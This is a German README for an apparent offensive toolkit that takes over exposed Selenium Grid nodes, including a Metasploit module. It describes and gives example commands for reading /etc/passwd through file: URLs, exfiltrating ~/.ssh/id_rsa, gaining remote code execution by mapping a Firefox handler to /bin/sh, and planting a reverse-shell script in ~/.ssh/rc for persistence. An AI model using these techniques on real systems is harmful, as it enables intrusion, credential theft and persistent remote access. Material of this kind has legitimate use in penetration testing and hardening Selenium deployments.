
Eine Sammlung von Selenium-Tests, die bei der Übernahme eines Selenium-Knotens helfen könnten.
Dieses Projekt wurde verschoben. Um die neueste Version zu erhalten, pullen Sie von https://codeberg.org/JonStratton/selenium-node-takeover-kit
Dies kombiniert einige der unten stehenden Beispiele, um Dateien auf einen Selenium-Node hochzuladen, von ihm herunterzuladen und Code auf ihm auszuführen (über den Parameter „COMMAND_TYPE“). RCE funktioniert derzeit nur unter Linux. Zum Installieren kopieren Sie dies in „~/.msf4/modules/exploits/multi/http/“ oder ähnliches.
Dies surft einfach zur „file:“-URL und gibt den Seiteninhalt aus.
examples/selenium_node_cat.py -h http://selenium-hub.lan:4444/wd/hub -r /etc/passwdDies verwendet Inline-HTML, um ein Inline-Formular mit einem Datei-Upload-Eingabefeld zu erstellen. Anschließend wird ein lokaler Dateipfad in dieses Formular gesendet. JavaScript in diesem Formular bettet diese base64-kodierte Datei in dieselbe Seite ein. Diese wird dann von den Skripten gelesen und dekodiert und in einer lokalen Datei gespeichert.
examples/selenium_node_download.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/id_rsa -l ./nodes_rsaWie die Node-Download-Skripte, jedoch ohne die Verarbeitung der Datei in JavaScript. Wenn die Datei nicht existiert, löst send_keys() eine Exception aus.
Nur Firefox. Verwendet ein Firefox-Profil (das lediglich ein base64-kodiertes ZIP-Archiv ist, das in einen Selenium-API-Aufruf eingebettet wird), um einen benutzerdefinierten Handler zu erstellen (hier „application/sh“ zu /bin/sh). Anschließend werden einige Shell-Befehle base64-kodiert und über inline „data:“ Befehle, die mit „application/sh“ verknüpft sind, übergeben. Firefox erstellt daraufhin eine temporäre Datei mit den Befehlen und führt sie mit sh aus.
Nur Firefox. Verwendet ein Firefox-Profil, um ein benutzerdefiniertes Download-Verzeichnis festzulegen und die Eingabeaufforderung „Speichern unter“ zu deaktivieren. Danach wird zu Inline-HTML mit einem eingebetteten „data:“-Link navigiert, der die kodierte hochzuladende Datei enthält. Dieser Link wird dann angeklickt.
examples/selenium_node_upload.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/rc -l ./reverse_shell.shNur Firefox. Verwendet ein Firefox-Profil, das nicht sicher entpackt wird, um eine Datei in das Dateisystem des Nodes zu schreiben.